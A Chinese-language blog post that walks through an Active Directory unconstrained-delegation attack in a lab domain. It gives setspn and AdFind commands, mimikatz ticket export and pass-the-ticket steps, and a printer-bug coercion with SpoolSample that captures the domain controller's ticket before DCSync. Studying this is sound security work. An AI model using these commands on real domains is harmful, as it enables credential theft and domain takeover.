Loading

[域渗透专题]非约束委派学习

非约束委派攻击

0x01 原理总述

⽤户 A 去访问服务B,服务 B 的服务账户开启了⾮约束委派,那么当⽤户 A 访问服务 B 的时候会将⽤户 A 的 TGT发送给服务 B 并保存进内存,服务 B 能够利⽤⽤户 A 的身份去访问⽤户 A 能够访问的任意服务。

⾮约束委派:当 user 访问 service1 时,如果 service1 的服务账号开启了 unconstrained delegation

(⾮约束委派),则当 user 访问 service1 时会将 user 的 TGT 发送给 service1 并保存在内存中以备下次重⽤,然后 service1 就可以利⽤这张 TGT 以 user 的身份去访问域内的任何服务(任何服务是指 user 能访问的服务)

0x02 环境准备

创建一个非约束委派账户,注册SPN

setspn -U -A MSSQLSvc/mssql.tysec.top:1433 mi2ac1ee

miraclee用户注册SPN

开启委派

查询域内的非约束委派用户

AdFind.exe -b "DC=tysec,DC=top" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

可以看出mi2aclewww为非约束委派用户

之后我们把这个WEB-2012也设置为非约束委派

0x03 模拟管理员访问攻击

需要说明,这里是模拟的管理员访问。真实情况下,可能需要等待很久管理员来访问这台机器。不如利用0x04 打印机漏洞攻击
域控上执行该命令

Enter-PSSession -ComputerName WEB-2012

mimikatz "privilege::debug" "kerberos::purge" "exit"

privilege::debug
sekurlsa::tickets /export

注入票据:

kerberos::ptt [0;fb93c]-2-0-60a10000-Administrator@krbtgt-TYSEC.TOP.kirbi

dir \\WIN-C6FKSH5OS1C\c$

0x04 打印机漏洞攻击

首先我将细致的讲解这一整块的攻击:

当域内某台机器启用了非约束委派,那它就可以接受域内任意用户的委派去请求域内任意服务。换句话讲,当某个域用户委托某台机器去代替访问域内的某个服务时,被委托的机器会在收到该用户TGT后缓存到自己的lsass中,之后被委托的机器即可拿着这个TGT去模拟相应用户请求相应服务。由此可知,一旦当我们搞定了启用非约束委派的这台机器,就可以把所有委托该机器访问指定服务的用户的TGT都导出来,而后再拿着这些TGT去模拟请求访问指定域内服务。如果此时委托访问的用户里有一个是域管账户或域控机器账户,我们就很容易通过ptt操作来模拟请求访问域控上的服务了,以此来变相获取域控权限。虽然实际环境中,想让域管账户主动访问启用了非约束委派机器的可能性不太大,但可以利用MSRPRNRPC接口(注一些新系统可能默认
已修复此问题,但实际情况是绝大部分并没有)强制域控向指定的启用了非约束委派的域内机器进行身份验证,如此一来可变相截获域管TGT(注DC默认启用非约束委派)

配置非约束委派用户:

注册spn:

setspn -U -A MSSQLSvc/mssql.vulntarget.com:1433 tx

配置:

服务账号

机器账户:

首先查询非约束委派:

AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

以win2016本地管理员权限启动监听:

强制触发:

spool_sample_windows_x86.exe win2019 WIN2016 

已经收到票据了:

可以看到这个票据是域控机器账户的

这一步我处理了一下,把原先的空格给替换了。

导入票据:

DCSYNC

posted @ 2022-02-21 11:39  mi2ac1e  阅读(194)  评论(0编辑  收藏  举报